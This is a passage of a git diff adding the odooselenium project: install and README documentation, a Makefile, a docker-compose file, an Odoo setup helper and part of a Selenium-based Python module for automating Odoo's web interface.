+Use `the Makefile`_.
+
+
+.. rubric:: References
+
+.. target-notes::
+
+.. _`bugtracker`: 
+   https://github.com/meta-it/odooselenium/issues
+.. _`Python`: https://www.python.org
+.. _`Virtualenv`: https://virtualenv.pypa.io/en/latest/
+.. _`Docker`: https://www.docker.com/
diff --git a/odooselenium/INSTALL b/odooselenium/INSTALL
new file mode 100644
index 00000000..f09c5f49
--- /dev/null
+++ b/odooselenium/INSTALL
@@ -0,0 +1,58 @@
+############
+Installation
+############
+
+This document covers installation of `odooselenium` for typical usage. If you
+want to setup a development environment, see :doc:`/contributing`
+documentation.
+
+.. note:: `odooselenium` is free software. See :doc:`/about/license` for
+details.
+
+
+*************
+Prerequisites
+*************
+
+`odooselenium` requires `Python` version 2.7. Other versions may work, but they
+are not part of the test suite at the moment.
+
+`odooselenium` currently requires you have an Odoo server running:
+
+* http://localhost:8069 serves Odoo;
+* User "admin" with password "admin" is administrator of database 'test';
+* `web_selenium <https://github.com/brain-tec/web_selenium>`_ module is
+  enabled.
+
+
+****************************
+Install odooselenium library
+****************************
+
+Install `odooselenium` with the Python package installer you like. Here is an
+example with pip:
+
+.. code:: python
+
+   pip install odooselenium
+
+
+*****
+Check
+*****
+
+Check `odooselenium` has been installed:
+
+.. code:: sh
+
+   python -c "import odooselenium; print(odooselenium.__version__)"
+
+You should get `odooselenium`'s version.
+
+
+.. rubric:: References
+
+.. target-notes::
+
+.. _`Python`: https://www.python.org/
+.. _`pip`: https://pip.pypa.io
diff --git a/odooselenium/LICENSE b/odooselenium/LICENSE
new file mode 100644
index 00000000..ef676560
--- /dev/null
+++ b/odooselenium/LICENSE
@@ -0,0 +1,18 @@
+#######
+License
+#######
+
+Odooselenium: Python bindings for Odoo web user interface, using Selenium.
+Copyright (c) 2015, Meta IT.
+
+Odooselenium is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free Software
+Foundation; either version 2 of the License, or (at your option) any later
+version.
+
+Odooselenium is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+PARTICULAR PURPOSE. See the GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License along with
+this program; if not, see http://www.gnu.org/licenses/.
diff --git a/odooselenium/MANIFEST.in b/odooselenium/MANIFEST.in
new file mode 100644
index 00000000..8baeb683
--- /dev/null
+++ b/odooselenium/MANIFEST.in
@@ -0,0 +1,9 @@
+recursive-include odooselenium *
+include AUTHORS
+include CHANGELOG
+include CONTRIBUTING.rst
+include gpl-2.0.txt
+include INSTALL
+include LICENSE
+include README.rst
+include VERSION
diff --git a/odooselenium/Makefile b/odooselenium/Makefile
new file mode 100644
index 00000000..483c3d93
--- /dev/null
+++ b/odooselenium/Makefile
@@ -0,0 +1,86 @@
+# Reference card for usual actions in development environment.
+#
+# For standard installation, see INSTALL.
+# For details about development environment, see CONTRIBUTING.rst.
+#
+PIP ?= pip
+TOX ?= tox
+PROJECT := $(shell python -c "import setup; print setup.NAME")
+
+
+#: help - Display callable targets.
+.PHONY: 
+help:
+	@echo "Reference card for usual actions in development environment."
+	@echo "Here are available targets:"
+	@egrep -o "^#: (.+)" [Mm]akefile  | sed 's/#: /* /'
+
+
+#: lib/odoo-addons/web_selenium - Clone repository of 'web_selenium' addon for Odoo.
+lib/odoo-addons/web_selenium:
+	mkdir -p lib/odoo-addons
+	git clone -b 8.0 https://github.com/brain-tec/web_selenium.git ./web_selenium
+	mv ./web_selenium lib/odoo-addons/web_selenium
+
+
+#: develop - Install minimal development utilities.
+.PHONY: develop
+develop: lib/odoo-addons/web_selenium
+	$(PIP) install -e .[test] erppeek
+
+
+#: odoo-start - Run and setup Odoo development server using Docker.
+.PHONY: odoo-start
+odoo-start:
+	python -c "import init_odoo;init_odoo.odoo_start();init_odoo.odoo_setup()"
+
+
+#: odoo-stop - Stop Odoo development server using Docker.
+.PHONY: odoo-stop
+odoo-stop:
+	python -c "import init_odoo;init_odoo.odoo_stop()"
+
+
+#: clean - Basic cleanup, mostly temporary files.
+.PHONY: clean
+clean:
+	find . -name '*.pyc' -delete
+	find . -name '*.pyo' -delete
+
+
+#: distclean - Remove local builds, such as *.egg-info.
+.PHONY: distclean
+distclean: clean
+	rm -rf *.egg
+	rm -rf *.egg-info
+
+
+#: maintainer-clean - Remove almost everything that can be re-generated.
+.PHONY: maintainer-clean
+maintainer-clean: distclean
+	rm -rf build/
+	rm -rf dist/
+	rm -rf .tox/
+
+
+#: test - Run test suites.
+.PHONY: test
+test:
+	$(TOX)
+
+
+#: documentation - Build documentation (Sphinx, README, ...)
+.PHONY: documentation
+documentation: readme
+
+
+#: readme - Build standalone documentation files (README, CONTRIBUTING...).
+.PHONY: readme
+readme:
+	$(TOX) -e readme
+
+
+#: release - Tag and push to PyPI.
+.PHONY: release
+release:
+	$(TOX) -e release
diff --git a/odooselenium/README.rst b/odooselenium/README.rst
new file mode 100644
index 00000000..7a0cd672
--- /dev/null
+++ b/odooselenium/README.rst
@@ -0,0 +1,120 @@
+############
+odooselenium
+############
+
+`odooselenium` provides tools to interact with `Odoo`_ using `Selenium`_:
+
+* base test class;
+* helpers to go to module or view, click button, fill in forms...
+
+This project's initial scope is Odoo's core features. Third-party addons can be
+supported by additional projects.
+
+
+*******
+Example
+*******
+
+Let's write a script that creates then deletes a customer...
+
+.. code:: python
+
+   from selenium.webdriver import Firefox
+   from selenium.webdriver.common.by import By
+
+   import odooselenium
+
+
+   webdriver = Firefox()
+   ui = odooselenium.OdooUI(
+       webdriver,
+       base_url=u'http://localhost:8069',
+   )
+
+   # Log in.
+   ui.login('myusername', 'mypassword', 'mydatabase')
+
+   # Navigate to "Accounting / Customers".
+   ui.go_to_module('Accounting')
+   ui.go_to_view('Customers')
+
+   # Toggle list view.
+   assert ui.get_url_fragments()['view_type'] == u'kanban'
+   list_view_button = webdriver.find_element(
+       By.CSS_SELECTOR,
+       ".oe_vm_switch_list")
+   with ui.wait_for_ajax_load():
+       list_view_button.click()
+   assert ui.get_url_fragments()['view_type'] == u'list'
+   # Click "Create" button.
+   create_button = webdriver.find_element(
+       By.XPATH,
+       "//button["
+       "@data-bt-testing-model_name='res.partner' and "
+       "@data-bt-testing-name='oe_list_add']")
+   with ui.wait_for_ajax_load():
+       create_button.click()
+
+   # Fill then submit the form.
+   name_field = webdriver.find_element(
+       By.XPATH,
+       "//input["
+       "@data-bt-testing-model_name='res.partner' and "
+       "@data-bt-testing-name='name']")
+   name_field.send_keys('Sample customer')
+   save_button = webdriver.find_element(
+       By.XPATH,
+       "//button["
+       "@data-bt-testing-model_name='res.partner' and "
+       "@data-bt-testing-name='oe_form_button_save']"
+   )
+   with ui.wait_for_ajax_load():
+       save_button.click()
+
+
+And here is a simple test class:
+
+.. code:: python
+
+   import odooselenium
+
+
+   class SampleTestCase(odooselenium.TestCase):
+       def configure(self, **kwargs):
+           """Override this method to alter settings... if necessary."""
+           kwargs.setdefault('url', 'http://localhost:8069')
+           kwargs.setdefault('username', 'admin')
+           kwargs.setdefault('password', 'admin')
+           kwargs.setdefault('dbname', 'test')
+           super(SampleTestCase, self).configure(kwargs)
+
+       def test_ui(self):
+           # self.ui is instance of odooselenium.OdooUI.
+           self.ui.go_to_module('Accounting')
+           # self.webdriver is Selenium's webdriver.
+           self.webdriver.find_element_by_css_selector('body')
+
+See also `odooselenium`'s own tests at
+https://github.com/meta-it/odooselenium/tree/master/tests
+
+
+************
+Installation
+************
+
+See `INSTALL <https://github.com/meta-it/odooselenium/blob/master/INSTALL>`_.
+
+
+**********
+Ressources
+**********
+
+* Documentation: only this README for now.
+* PyPI: https://pypi.python.org/pypi/odooselenium
+* Code repository: https://github.com/meta-it/odooselenium
+* Bugtracker: https://github.com/meta-it/odooselenium/issues
+* Continuous integration: https://travis-ci.org/meta-it/odooselenium
+
+
+.. _`Odoo`: https://odoo.com
+.. _`Selenium`: https://pypi.python.org/pypi/selenium/
diff --git a/odooselenium/VERSION b/odooselenium/VERSION
new file mode 100644
index 00000000..331f36cf
--- /dev/null
+++ b/odooselenium/VERSION
@@ -0,0 +1 @@
+1.1.dev0
diff --git a/odooselenium/docker-compose.yml b/odooselenium/docker-compose.yml
new file mode 100644
index 00000000..6c131018
--- /dev/null
+++ b/odooselenium/docker-compose.yml
@@ -0,0 +1,17 @@
+postgresql:
+    image: postgres:9
+    environment:
+        POSTGRES_USER: odoo
+        POSTGRES_PASSWORD: odoo
+odoo:
+    image: odoo:8
+    links:
+    - postgresql:db
+    log_driver: "json-file"
+    log_opt:
+        max-size: "500k"
+        max-file: "1"
+    ports:
+    - "8069:8069"
+    volumes:
+        - ./lib/odoo-addons:/mnt/extra-addons
diff --git a/odooselenium/gpl-2.0.txt b/odooselenium/gpl-2.0.txt
new file mode 100644
index 00000000..d159169d
--- /dev/null
+++ b/odooselenium/gpl-2.0.txt
@@ -0,0 +1,339 @@
+                    GNU GENERAL PUBLIC LICENSE
+                       Version 2, June 1991
+
+ Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
+ 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                            Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+License is intended to guarantee your freedom to share and change free
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+General Public License applies to most of the Free Software
+Foundation's software and to any other program whose authors commit to
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+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
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+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
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+The hypothetical commands `show w' and `show c' should show the appropriate
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+  `Gnomovision' (which makes passes at compilers) written by James Hacker.
+
+  <signature of Ty Coon>, 1 April 1989
+  Ty Coon, President of Vice
+
+This General Public License does not permit incorporating your program into
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+consider it more useful to permit linking proprietary applications with the
+library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.
diff --git a/odooselenium/init_odoo.py b/odooselenium/init_odoo.py
new file mode 100644
index 00000000..1f6f93aa
--- /dev/null
+++ b/odooselenium/init_odoo.py
@@ -0,0 +1,74 @@
+"""Utilities to run and setup Odoo using Docker."""
+import subprocess
+import time
+
+import erppeek
+
+
+def odoo_start():
+    try:
+        erppeek.Client(server='http://localhost:8069')
+    except:
+        cmd = 'docker-compose up -d'
+        subprocess.call(cmd, shell=True)
+    else:
+        print "Odoo server is running."
+        return
+
+    # Wait for Odoo to be loaded.
+    print "Waiting for Odoo server to be available..."
+    time.sleep(3)
+    limit = time.time() + 30
+    proofs_of_service = [
+        'openerp.service.server: HTTP service (werkzeug) '  # ...
+        'running on 0.0.0.0:8069',
+        'openerp.addons.bus.bus: Bus.loop listen imbus on db postgres',
+    ]
+    while time.time() < limit:
+        cmd = 'docker logs {docker_instance}'.format(
+            docker_instance='odooselenium_odoo_1')
+        output = subprocess.check_output(cmd, shell=True)
+        if all([proof in output for proof in proofs_of_service]):
+            break
+        else:
+            time.sleep(1)
+    print "... Odoo server up and running!"
+
+
+def odoo_stop():
+    cmd = 'docker-compose stop'
+    subprocess.call(cmd, shell=True)
+
+
+def odoo_setup():
+    odoo = erppeek.Client(
+        server='http://localhost:8069',
+    )
+    dbname = u'test'
+    if dbname not in odoo.db.list():
+        print "Creating database {0}...".format(dbname)
+        odoo.create_database('admin', dbname)
+        print "... Database '{0}' created.".format(dbname)
+    else:
+        print "Database '{0}' already exists.".format(dbname)
+    # Log in database.
+    odoo = erppeek.Client(
+        server='http://localhost:8069',
+        db='test',
+        user='admin',
+        password='admin',
+    )
+    modules = [
+        'account_accountant',
+        'web_selenium',
+    ]
+    print "Installing addons..."
+    for module in modules:
+        if module not in odoo.modules()['installed']:
+            assert module in odoo.modules()['uninstalled'], \
+                '{0} addon is not available. Check extra addons path.' \
+                .format(module)
+            odoo.install(module)
+        else:
+            print "Addon '{0}' already installed.".format(module)
+    print "... Additional modules installed."
diff --git a/odooselenium/odooselenium/__init__.py b/odooselenium/odooselenium/__init__.py
new file mode 100644
index 00000000..52c6cdbe
--- /dev/null
+++ b/odooselenium/odooselenium/__init__.py
@@ -0,0 +1,9 @@
+"""odooselenium provides tools to interact with Odoo using Selenium."""
+import pkg_resources
+
+# API shortcuts.
+from odooselenium.api import *  # NoQA
+
+
+#: Module version, as defined in :pep:`396`.
+__version__ = pkg_resources.get_distribution(__package__).version
diff --git a/odooselenium/odooselenium/api.py b/odooselenium/odooselenium/api.py
new file mode 100644
index 00000000..2a35c38a
--- /dev/null
+++ b/odooselenium/odooselenium/api.py
@@ -0,0 +1,25 @@
+"""API shortcuts.
+
+Everything declared (or imported) in this module is exposed in
+:mod:`odooselenium` root package, i.e. available when one does
+``import odooselenium``.
+
+Here are the motivations of such an "api" module:
+
+* as a `odooselenium` library user, in order to use the library, I just do
+  ``import odooselenium``. It is enough for most use cases. I do not need to
+  bother with more library's internals. I know this API will be maintained,
+  documented, and not deprecated/refactored without notice.
+
+* as a `odooselenium` library developer, in order to maintain the API, I focus
+  on things declared in :mod:`odooselenium.api`. It is enough. It is required.
+  I take care of this API. If there is a change in this API between consecutive
+  releases, then I use :class:`DeprecationWarning` and I mention it in release
+  notes.
+
+It also means that things not exposed in :mod:`odooselenium.api` are not part
+of the deprecation policy. They can be moved, changed, removed without notice.
+
+"""
+from odooselenium.test import TestCase  # NoQA
+from odooselenium.ui import OdooUI  # NoQA
diff --git a/odooselenium/odooselenium/test.py b/odooselenium/odooselenium/test.py
new file mode 100644
index 00000000..061d878a
--- /dev/null
+++ b/odooselenium/odooselenium/test.py
@@ -0,0 +1,36 @@
+"""Testing libraries."""
+import unittest
+
+from selenium import webdriver
+
+from odooselenium.ui import OdooUI
+
+
+class TestCase(unittest.TestCase):
+    def setUp(self):
+        """Setup Selenium driver, log in."""
+        self.configure()
+        self.setup_webdriver()
+        #: Bindings to Odoo user interface.
+        self.ui = OdooUI(self.webdriver, base_url=self.cfg['url'])
+        self.ui.login(self.cfg['username'],
+                      self.cfg['password'],
+                      self.cfg['dbname'])
+
+    def tearDown(self):
+        """Close the webdriver's session."""
+        self.webdriver.quit()
+
+    def configure(self, **kwargs):
+        """Set :attr:`cfg`."""
+        self.cfg = {
+            'url': 'http://localhost:8069',
+            'username': 'admin',
+            'password': 'admin',
+            'dbname': 'test',
+        }
+        self.cfg.update(kwargs)
+
+    def setup_webdriver(self):
+        """Set :attr:`webdriver`."""
+        self.webdriver = webdriver.Chrome()
diff --git a/odooselenium/odooselenium/ui.py b/odooselenium/odooselenium/ui.py
new file mode 100644
index 00000000..a33e4c3f
--- /dev/null
+++ b/odooselenium/odooselenium/ui.py
@@ -0,0 +1,1033 @@
+"""Python bindings to Odoo's user interface (UI) driven by Selenium."""
+import contextlib
+import re
+import time
+import urlparse
+
+from selenium.common.exceptions import NoAlertPresentException
+from selenium.common.exceptions import NoSuchElementException
+from selenium.common.exceptions import TimeoutException
+from selenium.webdriver.common.by import By
+from selenium.webdriver.common.keys import Keys
+from selenium.webdriver.support import expected_conditions
+from selenium.webdriver.support import ui
+from selenium.webdriver.support.ui import WebDriverWait
+
+from odooselenium import wait
+
+
+PAGER_STATUS_REX = re.compile('\d+-(?P<last>\d+) of (?P<total>\d+)')
+
+
+class OdooUI(object):
+    """Encapsulate DOM elements of Odoo user interface."""
+    def __init__(self, webdriver, base_url='http://localhost:8069'):
+        #: Selenium WebDriver instance.
+        self.webdriver = webdriver
+        #: Base URL of Odoo web service.
+        self.base_url = base_url
+
+    @property
+    def create_button(self):
+        return self.webdriver.find_element(
+            By.XPATH,
+            "//button["
+            "@data-bt-testing-model_name='stock.move' and "
+            "@data-bt-testing-name='oe_list_add']")
+
+    def install_module_web_selenium(self):
+        """Install module web_selenium using original Odoo's UI.
+
+        Other methods of OdooUI take advantage of features provided by
+        web_selenium.
+
+        """
+
+    @contextlib.contextmanager
+    def wait_for_page_load(self, timeout=10):
+        """Wait for full page load and assert new page has been loaded."""
+        # Inspect initial state.
+        try:
+            initial_body = self.webdriver.find_element(By.XPATH, '//body')
+        except NoSuchElementException:  # First load.
+            initial_body = None
+
+        # Yield (back to 'with' block, where user triggers page load).
+        yield
+
+        # Wait for body to change.
+        ui.WebDriverWait(self.webdriver, timeout).until(
+            expected_conditions.staleness_of(initial_body)
+        )
+
+    @contextlib.contextmanager
+    def wait_for_ajax_load(self, timeout=10):
+        """Wait for AJAX-style load and assert new page has been loaded."""
+        # Inspect initial state.
+        initial_jquery_active = not wait.jquery_inactive(self.webdriver)
+
+        # Yield (back to 'with' block where user clicks or whatever)
+        yield
+
+        # Check state changed.
+        def page_loaded(webdriver):
+            # jQuery should be inactive (no AJAX pending).
+            if not initial_jquery_active:
+                if not wait.jquery_inactive(webdriver):
+                    return False
+            # Body element doesn't have class 'oe_wait'.
+            try:
+                webdriver.find_element(By.CSS_SELECTOR, 'body.oe_wait')
+            except:
+                pass
+            else:
+                return False
+            return True
+
+        ui.WebDriverWait(self.webdriver, timeout).until(page_loaded)
+
+    def login(self, username, password, dbname=None):
+        """Log in Odoo.
+
+        If ``dbname`` is None and there are several databases, then the first
+        one is automatically selected.
+
+        """
+        # Display the first page
+        self.webdriver.get(self.url())
+
+        # Fill in database selection form.
+        try:
+            db_field = self.webdriver.find_element(By.ID, u'db')
+        except NoSuchElementException:
+            pass
+        else:
+            with self.wait_for_page_load():
+                if dbname:  # Select database by name.
+                    ui.Select(db_field).select_by_value(dbname)
+                else:  # Select first database available.
+                    db_field.send_keys(Keys.DOWN)
+                    db_field.send_keys(Keys.TAB)
+
+        # Fill in login form.
+        login_field = self.webdriver.find_element(By.ID, u'login')
+        login_field.send_keys(username)
+        password_field = self.webdriver.find_element(By.ID, u'password')
+        password_field.send_keys(password)
+        login_button = self.webdriver.find_element(
+            By.CSS_SELECTOR,
+            '.btn-primary')
+        with self.wait_for_page_load():
+            login_button.click()
+
+    def url(self, path=''):
+        """Return complete URL."""
+        return u'{base:s}/{path:s}'.format(
+            base=self.base_url,
+            path=path.lstrip('/'),
+        )
+
+    def list_modules(self):
+        ui.WebDriverWait(self.webdriver, 10).until(
+            expected_conditions.presence_of_element_located((
+                By.CSS_SELECTOR,
+                '.oe_application .oe_view_manager'
+            ))
+        )
+        modules = self.webdriver.find_elements(
+            By.CSS_SELECTOR,
+            ".navbar-nav .oe_menu_text"
+        )
+        return modules
+
+    def go_to_module(self, module_name, timeout=10):
+        """Click on the module in menu."""
+        list_module_display = []
+        modules = self.list_modules()
+        module_link = None
+        for module in modules:
+            list_module_display.append(module.text)
+            if module.text == module_name:
+                module_link = module
+                break
+        tuple_module = (module_name, list_module_display)
+        assert module_link is not None, \
+            "Couldn't find module menu '{}' in '{}'".format(tuple_module[0],
+                                                            tuple_module[1])
+
+        # Wait for application view to be loaded.
+        ui.WebDriverWait(self.webdriver, timeout).until(
+            expected_conditions.presence_of_element_located((
+                By.CSS_SELECTOR,
+                '.oe_application .oe_view_manager'
+            ))
+        )
+
+        module_link.click()
+
+        # Wait for application view to be loaded.
+        ui.WebDriverWait(self.webdriver, timeout).until(
+            expected_conditions.presence_of_element_located((
+                By.CSS_SELECTOR,
+                '.oe_application .oe_view_manager'
+            ))
+        )
+
+    def go_to_view(self, view_name, timeout=10):
+        """Click on the view in menu."""
+        # Select all the secondary menus
+        secondary_menus = self.webdriver.find_elements_by_css_selector(
+            '.oe_secondary_menu')
+        menu_parts = view_name.split(u'/')
+        searched_menu = menu_parts.pop(0)
+        previous_parts = set()
+        # Click on the view requested
+        view_link = None
+        for sec_menu in secondary_menus:
+            if sec_menu.is_displayed():
+                menus = sec_menu.find_elements(
+                    By.CSS_SELECTOR,
+                    ".oe_secondary_submenu .oe_menu_text"
+                )
+                for menu in menus:
+                    if menu.text in [searched_menu] + list(previous_parts):
+                        menu_parent = menu.find_element_by_xpath('ancestor::a')
+                        if menu_parts or menu.text in previous_parts:
+                            if ('oe_menu_opened' not in
+                                    menu_parent.get_attribute('class')):
+                                menu.click()
+                        if menu.text == searched_menu and menu_parts:
+                            previous_parts.add(searched_menu)
+                            searched_menu = menu_parts.pop(0)
+                        elif menu.text == searched_menu and not menu_parts:
+                            view_link = menu
+                            break
+                break
+        tuple_view = (view_name, menus)
+        assert view_link is not None, \
+            "Couldn't find view menu '{}' in '{}'".format(tuple_view[0],
+                                                          tuple_view[1])
+        with self.wait_for_ajax_load():
+            view_link.click()
+        # Wait for application view to be loaded.
+        ui.WebDriverWait(self.webdriver, timeout).until(
+            expected_conditions.presence_of_element_located((
+                By.CSS_SELECTOR,
+                '.oe_application .oe_view_manager'
+            ))
+        )
+
+    def click_form_view_tab(self, tab_name):
+        tabs = self.webdriver.find_elements(
+            By.CSS_SELECTOR,
+            ".ui-tabs .ui-corner-top .ui-tabs-anchor"
+        )
+        requested_tab = None
+        for tab in tabs:
+            if tab.text == tab_name:
+                requested_tab = tab
+                break
+        assert requested_tab is not None, \
+            "Couldn't find form tab '{0}'".format(tab_name)
+        with self.wait_for_ajax_load():
+            requested_tab.click()
+
+    def click_button(self, button_name, view_name):
+        button_divs = self.webdriver.find_elements_by_css_selector(
+            '.oe_view_manager_buttons .oe_{}_buttons'.format(view_name))
+        for button_div in button_divs:
+            if button_div.is_displayed():
+                # Select all the buttons on the div displayed
+                buttons = button_div.find_elements_by_tag_name('button')
+                # Click on the button requested
+                for button in buttons:
+                    # Print "Button text: ",button.text
+                    if button.text == button_name:
+                        with wait.wait_for_body_odoo_load(self.webdriver):
+                            button.click()
+                        break
+
+    def click_button_by_model(self, model_name, name, timeout=10):
+        with self.wait_for_ajax_load():
+            button = ui.WebDriverWait(self.webdriver, timeout).until(
+                expected_conditions.presence_of_element_located((
+                    By.XPATH,
+                    "//button["
+                    "@data-bt-testing-model_name='{}' and "
+                    "@data-bt-testing-name='{}']".format(
+                        model_name, name))
+                )
+            )
+            button.click()
+
+    def click_edit(self, timeout=10):
+        self.click_ajax_load_button('oe_form_button_edit', timeout=timeout)
+
+    def click_create(self, timeout=10):
+        self.click_ajax_load_button('oe_list_add', timeout=timeout)
+
+    def click_save(self, timeout=10):
+        self.click_ajax_load_button('oe_form_button_save', timeout=timeout)
+
+    def click_apply(self, timeout=10):
+        self.click_ajax_load_button('execute', timeout=timeout)
+
+    def click_ajax_load_button(self, data_bt_testing_name,
+                               data_bt_testing_model_name=None,
+                               data_class=None, timeout=10):
+        if data_bt_testing_model_name:
+            if data_class:
+                xpath = ('//button[@class="{}" and @data-bt-testing-name="{}" '
+                         'and @data-bt-testing-model_name="{}"]'.format(
+                             data_class, data_bt_testing_name,
+                             data_bt_testing_model_name))
+            else:
+                xpath = ('//button[@data-bt-testing-name="{}" and '
+                         '@data-bt-testing-model_name="{}"]'.format(
+                             data_bt_testing_name, data_bt_testing_model_name))
+        else:
+            if data_class:
+                xpath = '//button[@class={} and @data-bt-testing-name="{}"]' \
+                    .format(data_class, data_bt_testing_name)
+
+            else:
+                xpath = '//button[@data-bt-testing-name="{}"]'.format(
+                    data_bt_testing_name)
+
+        # with self.wait_for_ajax_load():
+        buttons = self.webdriver.find_elements_by_xpath(xpath)
+        visible_buttons = [b for b in buttons if b.is_displayed()]
+        if len(visible_buttons) == 0:
+            raise RuntimeError("Couldn't find one button to click")
+        elif len(visible_buttons) != 1:
+            raise RuntimeError("Find more than one button to click")
+        with self.wait_for_ajax_load(timeout):
+            visible_buttons[0].click()
+
+    def delete_item_from_form_kanban(self, value, timeout=10):
+        xpath = ('//a[contains(@class, "oe_kanban_action") and text()="{}"]'
+                 '/ancestor::div[contains(@class, "oe_kanban_record")]'
+                 '//a[contains(@class, "oe_kanban_action") and '
+                 '@data-type="delete"]'.format(value))
+
+        self._delete_item_from_form(xpath, timeout)
+
+    def get_values_from_form_kanban(self):
+        """Get the displayed values of a form sub-kanban"""
+
+        xpath = ('//div[@class="oe_form"]//div[contains(@class, '
+                 '"oe_kanban_record")]//table[@class="oe_kanban_table"]//a')
+
+        elements = self.webdriver.find_elements_by_xpath(xpath)
+
+        return [e.text for e in elements if e.is_displayed()]
+
+    def get_rows_from_form_list(self, header=None):
+        """Get the values of all rows on a form sub-list"""
+
+        if header:
+            columns_xpath = ('//div[normalize-space(text())="{}"]'
+                             '//following-sibling::div[1]//table[@class="'
+                             'oe_list_content"]/thead/'
+                             'tr[@class="oe_list_header_columns"]/th'
+                             .format(header))
+        else:
+            columns_xpath = ('//div[@class="oe_form"]//table[@class="'
+                             'oe_list_content" and not(ancestor::*[@style='
+                             '"display: none;"])]/thead'
+                             '/tr[@class="oe_list_header_columns"]/th')
+
+        headers_xpath = '{}/div'.format(columns_xpath)
+
+        if header:
+            xpath = ('//div[normalize-space(text())="{}"]'
+                     '/following-sibling::*[1]//'
+                     'table[@class="oe_list_content"]/tbody/tr/td'.format(
+                         header))
+        else:
+            xpath = ('//div[@class="oe_form"]//table[@class="oe_list_content" '
+                     'and not(ancestor::*[@style="display: none;"])]/tbody/tr'
+                     '/td')
+
+        return self._get_rows_from_list(columns_xpath, headers_xpath, xpath)
+
+    def delete_item_from_form_list(self, column, value, header=None,
+                                   timeout=10):
+        xpath = ('//table[@class="oe_list_content"]/tbody/tr/'
+                 'td[@data-field="{}" and text()="{}"]/following-sibling::'
+                 'td[@class="oe_list_record_delete"]'.format(column, value))
+
+        if header:
+            xpath = ('//div[normalize-space(text())="{}"]/'
+                     'following-sibling::*[1]{}'.format(header, xpath))
+
+        self._delete_item_from_form(xpath, timeout)
+
+    def _delete_item_from_form(self, xpath, timeout):
+        delete_buttons = self.webdriver.find_elements_by_xpath(xpath)
+
+        visible_buttons = [b for b in delete_buttons if b.is_displayed()]
+        if len(visible_buttons) < 1:
+            raise RuntimeError("No delete buttons found")
+        for button in visible_buttons:
+            with self.wait_for_ajax_load(timeout):
+                button.click()
+                try:
+                    self.webdriver.switch_to.alert.accept()
+                except NoAlertPresentException:
+                    pass
+
+    def add_item_to_form_kanban(self, timeout=10):
+        xpath = '//button[@data-bt-testing-button="oe_kanban_button_new"]'
+        self._add_item_to_form(xpath, timeout)
+
+    def add_item_to_form_table(self, header=None, timeout=10):
+        xpath = ('//*[@class="oe_form_field_one2many_list_row_add" or '
+                 '@class="oe_form_field_many2many_list_row_add"]/a')
+        if header:
+            xpath = ('//div[normalize-space(text())="{}"]/'
+                     'following-sibling::*[1]{}'.format(header, xpath))
+        self._add_item_to_form(xpath, timeout)
+
+    def _add_item_to_form(self, xpath, timeout):
+        add_links = self.webdriver.find_elements_by_xpath(xpath)
+        visible_links = [l for l in add_links if l.is_displayed()]
+        if len(visible_links) != 1:
+            raise RuntimeError("Couldn't find exactly one Add an item link")
+        with self.wait_for_ajax_load(timeout):
+            visible_links[0].click()
+
+    def get_url_fragments(self, url=None):
+        """Return dictionary of current URL fragment.
+
+        As an example, on detail page of invoice,
+        ``self.get_url_fragments()['id']`` returns ID of current invoice.
+
+        """
+        if url is None:
+            url = self.webdriver.current_url
+        parsed_url = urlparse.urlparse(url)
+        fragment_parts = parsed_url.fragment.split('&')
+        fragment_values = {}
+        for part in fragment_parts:
+            key, value = part.split('=')
+            fragment_values[key] = value
+        return fragment_values
+
+    def delete_from_list(self):
+        """Delete items selected with select_list_items"""
+        self.click_more_item('Delete')
+        self.webdriver.switch_to.alert.accept()
+
+    def select_list_items(self, data_field, column_value):
+        """Select items in a list view where the specified data_field has the
+        specified column_value"""
+
+        xpath = ('//table[@class="oe_list_content"]/tbody/tr/'
+                 'td[@data-field="{}" and text()="{}"]/../'
+                 'th[@class="oe_list_record_selector"]/input'.format(
+                     data_field, column_value))
+        checkboxes = self.webdriver.find_elements_by_xpath(xpath)
+        for checkbox in checkboxes:
+            checkbox.click()
+
+    def get_rows_from_list(self, data_field=None, column_value=None):
+        """Get the values of all rows having a specific column value.
+        If data_field and column_value are not specified, get all rows."""
+
+        columns_xpath = ('//table[@class="oe_list_content"]/thead/tr['
+                         '@class="oe_list_header_columns"]/th[starts-with('
+                         '@class, "oe_list_header_")]')
+        headers_xpath = '{}/div'.format(columns_xpath)
+
+        if data_field and column_value:
+            xpath = ('//table[@class="oe_list_content"]/tbody/tr/td['
+                     '@data-field="{}" and text()="{}"]/../td'.format(
+                         data_field, column_value))
+        else:
+            xpath = '//table[@class="oe_list_content"]/tbody/tr/td'
+
+        return self._get_rows_from_list(columns_xpath, headers_xpath, xpath)
+
+    def _get_rows_from_list(self, columns_xpath, headers_xpath, values_xpath):
+        columns = [elem for elem in
+                   self.webdriver.find_elements_by_xpath(columns_xpath)
+                   if elem.is_displayed()]
+
+        chunk_size = len(columns)
+
+        header_values = [elem.text for elem in
+                         self.webdriver.find_elements_by_xpath(headers_xpath)
+                         if elem.is_displayed()]
+
+        header_values += ['Untitled{}'.format(x) for x
+                          in xrange(chunk_size - len(header_values))]
+        values = []
+
+        all_values = self.webdriver.find_elements_by_xpath(values_xpath)
+        all_values = [v for v in all_values if v.is_displayed()]
+        lines = [all_values[i:i + chunk_size] for i in xrange(0,
+                                                              len(all_values),
+                                                              chunk_size)]
+        for line in lines:
+            line_values = [elem.text for elem in line]
+            values.append(dict(zip(header_values, line_values)))
+
+        return values
+
+    def click_more_item(self, menu_item):
+        """Click an item in the More menu that appears when selecting list
+        items"""
+
+        more_button = self.wait_for_visible_element_by_xpath(
+            '//button[normalize-space(text())="More" and '
+            'not(ancestor::div[@style="display: none;"])]')
+        more_button.click()
+        item_link = self.wait_for_visible_element_by_xpath(
+            '//ul[@class="oe_dropdown_menu oe_opened"]/li/a['
+            'normalize-space(text())="{}"]'.format(menu_item))
+        item_link.click()
+
+    def clear_search_facets(self):
+        xpath = '//div[@class="oe_searchview_clear"]'
+        clear_searchview_button = self.wait_for_visible_element_by_xpath(xpath)
+        with self.wait_for_ajax_load():
+            clear_searchview_button.click()
+
